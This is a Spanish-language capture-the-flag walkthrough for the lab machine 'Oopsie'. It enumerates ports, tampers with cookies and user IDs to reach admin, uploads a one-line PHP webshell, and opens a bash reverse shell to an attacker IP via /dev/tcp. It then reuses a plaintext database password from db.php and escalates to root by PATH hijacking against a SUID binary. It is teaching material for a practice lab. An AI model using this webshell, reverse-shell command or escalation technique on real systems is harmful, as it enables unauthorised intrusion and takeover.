😐

[ noØfunny ]

Oopsie

Pone de manifiesto el impacto de la divulgación de información y las deficiencias en el control de acceso en aplicaciones web. La enumeración del sitio web revela un inicio de sesión de invitado con cookies y ID de usuario manipulables, lo que permite escalar a un rol de administrador y acceder a una función de carga de archivos. Posteriormente, se carga un shell inverso PHP para obtener acceso inicial. Una enumeración posterior expone credenciales codificadas que permiten el movimiento lateral a otro usuario. Finalmente, se logra la escalada de privilegios mediante el abuso de un binario SUID mal configurado a través del secuestro de la variable PATH.

Oopsie

Enumeration

Enumeramos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 10.129.201.158
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Enumeramos los puertos abiertos para conocer más detalles de los servicios.

nmap -p 22,80 -sCV -oA nmap/openports 10.129.201.158
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
|   256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_  256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeramos directorios.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.129.201.158/FUZZ -ic -c -t 100
images                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 309ms]
themes                  [Status: 301, Size: 317, Words: 20, Lines: 10, Duration: 157ms]
uploads                 [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 158ms]
                        [Status: 200, Size: 10932, Words: 1345, Lines: 479, Duration: 2314ms]
css                     [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 158ms]
js                      [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 164ms]
fonts                   [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 159ms]

El servicio http muestra un sitio web.

Oopsie Webservice

En el código fuente se importa un script <script src="/cdn-cgi/login/script.js"></script>.

Navegamos a la ruta /cdn-cgi/login y encontramos un formulario de inicio de sesión.

Oopsie Login Form

Nos logueamos como Guest.

En el apartado account vemos el Access ID asignado a la cuenta Guest.

Oopsie Login Form

La url tiene un parámetro id al que le vamos a modificar el valor a 1 para ver si nos devuelve información de otro usuario en este caso el del admin.

Oopsie Webservice Admin ID

Las cookies muestran información relevante, una con el role del usuario y otra con el Access ID del usuario.

Oopsie Webservice Cookies

Con la información recolectada modificamos la cookie para ver si tenemos acceso como admin y podemos usar la función de subida de archivos que con el usuario Guest está restringida.

Oopsie Webservice Uploads

Exploitation

Creamos un archivo melvin.php con una webshell.

echo '<?php system($_GET["cmd"]);' > melvin.php

Subimos la webshell.

Oopsie Webservice File Upload

Probamos ejecutar comandos.

curl http://10.129.201.158/uploads/melvin.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nos ponemos en escucha en nuestra máquina atacante.

nc -lnvp 1111

Y nos enviamos una reverse shell.

curl -G --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.41/1111 0>&1"' http://10.129.201.158/uploads/melvin.php

Estabilizamos la shell.

script /dev/null -c bash

Presionamos ctrl + z.

stty raw -echo; fg
export TERM=xterm
export SHELL=bash
stty rows 38 columns 171

Listamos el contenido del directorio home de forma recursiva.

ls -R /home
/home:
robert

/home/robert:
user.txt

Leemos la flag.

cat /home/robert/user.txt 

User flag

User flag

f******************************1

Privilege Escalation

Listamos el contenido del directorio /var/www/html/cdn-cgi/login y leemos el archivo db.php que contiene credenciales de la base de datos.

<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>

La contraseña nos permite cambiar al usuario robert.

su robert

Buscamos binarios con el permiso SUID asignado que permiten a un usuario común ejecutar un binario con los mismos privilegios del propietario de ese archivo.

find / -type f -perm -4000 2>/dev/null
<SNIP>
/usr/bin/bugtracker
<SNIP>

Ejecutamos la herramienta para ver que hace.

bugtracker
------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 1
---------------

Binary package hint: ev-engine-lib

Version: 3.3.3-1

Reproduce:
When loading library in firmware it seems to be crashed

What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.

What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.

La herramienta pide el ID de un bug. Si le pasamos un ID inexistente muestra que ejecuta internamente la herramienta cat.

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 000000000
---------------

cat: /root/reports/000000000: No such file or directory

El usuario robert pertenece al grupo bugtracker.

robert@oopsie:/tmp$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

Y los que pertenecen al grupo bugtracker tienen permisos para ejecutar el binario.

ls -l /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker

Creamos un cat falso en el directorio tmp y agregamos el directorio tmp al PATH para que bugtracker busque el binario primero en el directorio tmp y ejecute nuestro cat falso que va a darnos una shell.

Creamos nuestra binario cat.

echo /bin/bash > /tmp/cat

Le damos permisos de ejecución.

chmod +x /tmp/cat

Agregamos la ruta tmp al PATH.

export PATH=/tmp:$PATH

Ejecutamos bugtracker para obtener una shell como root.

bugtracker

Una vez tengamos la shell como root nos cambiamos al directorio /root y leemos la flag con el binario cat original porque si no vamos a estar ejecutando el cat falso que usamos para obtener la shell como root.

/bin/cat /root/root.txt 

Root flag

Root flag

a******************************f